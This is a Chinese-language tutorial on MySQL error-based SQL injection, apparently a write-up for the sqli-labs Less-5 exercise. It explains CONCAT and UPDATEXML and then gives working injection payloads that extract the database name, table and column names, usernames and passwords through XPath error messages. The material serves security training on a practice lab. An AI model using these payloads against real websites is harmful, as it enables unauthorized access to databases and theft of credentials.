报错注入

Less-5 知识点

concat()

CONCAT() 是MySQL中的字符串连接函数,用于将两个或多个字符串合并成一个字符串

语法:

1
2
3
CONCAT(string1, string2, string3, ...)
SELECT CONCAT('User ID: ', id, ', Name: ', name) AS user_info FROM users;
-- 结果: 'User ID: 1, Name: John'

连接的字符串可以用十六进制编码

1
2
CONCAT(0x73656c656374, 0x202a, 0x66726f6d, 0x207573657273)
-- 相当于: 'select * from users'

updatexml()

UPDATEXML() 是MySQL中的一个XML函数,用于更新XML文档的特定部分

语法:

1
UPDATEXML(xml_target, xpath_expr, new_value)

参数说明: - xml_target:要操作的XML文档 - xpath_expr:XPath表达式,用于定位要修改的节点 - new_value:替换的新值

正常使用示例:

1
2
3
4
5
6
SELECT UPDATEXML(
'<root><a>old value</a></root>',
'/root/a',
'<a>new value</a>'
) AS result;
-- 输出: <root><a>new value</a></root>

在SQL注入中的巧妙利用错误原理

UPDATEXML() 的第二个参数(XPath表达式)不是有效的XPath格式时,MySQL会报错,但会在错误信息中返回这个无效的表达式的值

注入利用方法

1
2
3
AND UPDATEXML(1, CONCAT(0x7e, (SELECT database()), 0x7e), 1)
-- AND是为了保持原查询结构完整即:
SELECT * FROM users WHERE id='1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT database()), 0x7e), 1)

解释: - 1:任意值(因为不需要真正的XML文档) - CONCAT(0x7e, (SELECT database()), 0x7e):在查询结果前后添加~(0x7e是~的十六进制) - 1:任意替换值

执行结果: 会报错类似:

1
XPATH syntax error: '~database_name~'

处理数据截断

由于错误信息显示长度有限(通常32位),可以使用:

1
2
3
AND UPDATEXML(1, CONCAT(0x7e,
SUBSTRING((SELECT GROUP_CONCAT(username) FROM users), 1, 30)
, 0x7e), 1) --+

或者分段提取:

1
2
3
4
5
6
7
AND UPDATEXML(1, CONCAT(0x7e,
SUBSTRING((SELECT password FROM users LIMIT 0,1), 1, 20)
, 0x7e), 1) --+

AND UPDATEXML(1, CONCAT(0x7e,
SUBSTRING((SELECT password FROM users LIMIT 0,1), 21, 40)
, 0x7e), 1) --+
## Less-5 解题步骤 1. 判断为字符型,单引号闭合 ?id=1' 2. 无回显,使用报错注入:?id=1' and ...
1
2
3
4
5
6
7
8
9
10
11
12
13
--得到库名为security
and updatexml(1,concat(0x7e,database()),1)--+

--得到表名为users
and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

--得到列名
and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

--得到用户名和密码
and updatexml(1,substring(concat(0x7e,(select group_concat(username) from users)), 1, 20),1)--+
and updatexml(1,substring(concat(0x7e,(select group_concat(password) from users)), 1, 25),1)--+
--用户其他以此类推
20250823155324 20250823155343